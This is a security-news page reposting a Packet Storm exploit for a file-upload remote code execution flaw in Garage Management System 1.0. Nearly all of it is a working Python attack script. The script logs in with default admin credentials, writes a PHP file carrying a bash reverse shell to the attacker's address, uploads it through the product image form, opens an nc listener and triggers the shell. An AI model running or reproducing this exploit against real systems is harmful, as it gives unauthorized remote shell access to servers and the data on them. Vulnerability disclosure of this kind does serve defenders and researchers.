Security
Headlines
HeadlinesLatestCVEs

Headline

Garage Management System 1.0 Shell Upload

Garage Management System version 1.0 suffers from a remote shell upload vulnerability.

Packet Storm
#sql#vulnerability#php#rce#auth
# Exploit Title: Garage Management System Remote Code Execution via File Upload# Date: 24/07/2022# Exploit Author: saitamang# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/garage.zip# Version: 1.0# Tested on: Centos 7 + MySQLimport requests, subprocess, string, sys, warnings, time, concurrent.futuresfrom requests.packages.urllib3.exceptions import InsecureRequestWarningwarnings.simplefilter('ignore',InsecureRequestWarning)from netifaces import interfaces, ifaddresses, AF_INETreq = requests.Session()proxies = {    'http':'http://127.0.0.1:8080',     'https':'http://127.0.0.1:8080',    }def login(ip,username,password):      target = "http://%s/garage/garage/login.php" %ip    data = {'username':username,'password':password, 'login':''}    response = req.post(target, data=data)    if 'Login Successfully' in response.text:        print("[$] Success Login :)")        trigger_rce(req)    else:        print("[$] Failed Login :(")def creata_rs():    for ifaceName in interfaces():        addresses = [i['addr'] for i in ifaddresses(ifaceName).setdefault(AF_INET, [{'addr':'No IP addr'}] )]        if ifaceName=="eth0":            ipadd = ' '.join(addresses)            f = open("saitamang.php", "w")            payload = "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/"+str(ipadd)+"/1234 0>&1'\")?>"            f.write(payload)            f.close()        else:            passdef trigger_rce(req):    creata_rs()    target = "http://%s/garage/garage/php_action/createProduct.php" %ip    multipart_form_data = {    "currnt_date": (None,""),    "productImage": ("saitamang.php", open("saitamang.php", "rb")),    "productName" : (None,"test"),    "quantity" : (None,"1"),    "rate" : (None,"1"),    "brandName" : (None,"1"),    "categoryName" : (None,"1"),    "productStatus" : (None,"1"),    "create" : (None,"")    }    response = req.post(target, files=multipart_form_data)    print("[$] Enjoy your RCE :)")    req.get("http://%s/garage/garage/assets/myimages/saitamang.php" %ip)if __name__ == "__main__":    print("   _____       _ __                                   ")    print("  / ___/____ _(_) /_____ _____ ___  ____ _____  ____ _")    print("  \__ \/ __ `/ / __/ __ `/ __ `__ \/ __ `/ __ \/ __ `/")    print(" ___/ / /_/ / / /_/ /_/ / / / / / / /_/ / / / / /_/ / ")    print("/____/\__,_/_/\__/\__,_/_/ /_/ /_/\__,_/_/ /_/\__, /  ")    print("                                             /____/   \n\n")        try:        ip = sys.argv[1].strip()        username = "[email protected]"        password = "rootadmin"        subprocess.call(['terminator', '-e', 'nc -lvp 1234'])        time.sleep(2)        login(ip,username,password)            except IndexError:        print("[-] Usage %s <ip>" % sys.argv[0])        print("[-] Example: %s 192.168.100.x" % sys.argv[0])    sys.exit(-1)

Packet Storm: Latest News

Ubuntu Security Notice USN-7089-6